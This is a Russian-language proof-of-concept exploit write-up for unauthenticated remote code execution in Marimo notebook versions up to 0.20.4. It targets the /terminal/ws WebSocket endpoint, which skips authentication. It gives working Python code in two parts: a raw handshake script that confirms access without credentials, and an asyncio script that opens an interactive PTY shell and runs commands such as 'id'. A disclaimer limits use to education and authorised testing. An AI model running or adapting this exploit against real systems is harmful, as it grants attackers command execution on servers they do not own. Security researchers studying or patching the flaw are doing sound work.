
Proof-of-concept эксплойт для удалённого выполнения кода без аутентификации в Marimo через WebSocket-эндпоинт, позволяющий неаутентифицированным атакующим получить интерактивную PTY-оболочку.
Только для образовательных целей и авторизованных исследований в области безопасности.
Удаленное выполнение кода без предварительной аутентификации в Marimo <= 0.20.4.
WebSocket-эндпоинт /terminal/ws пропускает проверку аутентификации, что позволяет неаутентифицированному атакующему получить полноценную интерактивную PTY-оболочку через одно подключение.
websockets (pip install websockets)Подтверждает, что эндпоинт принимает подключения без учетных данных:
import socket, base64, os
host = '127.0.0.1'
port = 2718
path = '/terminal/ws'
key = base64.b64encode(os.urandom(16)).decode()
handshake = (
f'GET {path} HTTP/1.1\r\n'
f'Host: {host}:{port}\r\n'
f'Upgrade: websocket\r\n'
f'Connection: Upgrade\r\n'
f'Sec-WebSocket-Key: {key}\r\n'
f'Sec-WebSocket-Version: 13\r\n'
f'Sec-WebSocket-Protocol: terminal\r\n'
f'\r\n'
)
s = socket.socket()
s.connect((host, port))
s.send(handshake.encode())
resp = s.recv(4096).decode(errors='ignore')
print(resp[:200])
s.close()
Ожидаемый результат: HTTP/1.1 101 Switching Protocols
import asyncio, websockets, re
async def exploit(host, port):
uri = f"ws://{host}:{port}/terminal/ws"
async with websockets.connect(uri, subprotocols=["terminal"]) as ws:
print("[+] Соединение установлено без аутентификации")
await asyncio.sleep(0.3)
# Чтение начального баннера PTY
try:
msg = await asyncio.wait_for(ws.recv(), timeout=2)
print("[PTY banner]:", repr(msg))
except asyncio.TimeoutError:
pass
# Отправка команды
await ws.send("id\n")
await asyncio.sleep(0.5)
# Чтение фреймов до истечения таймаута
output = []
while True:
try:
msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
output.append(msg)
except asyncio.TimeoutError:
break
clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
print("[RCE output]:", clean)
asyncio.run(exploit("127.0.0.1", 2718))
Данный инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, является незаконным. Автор не несет ответственности за любое неправомерное использование.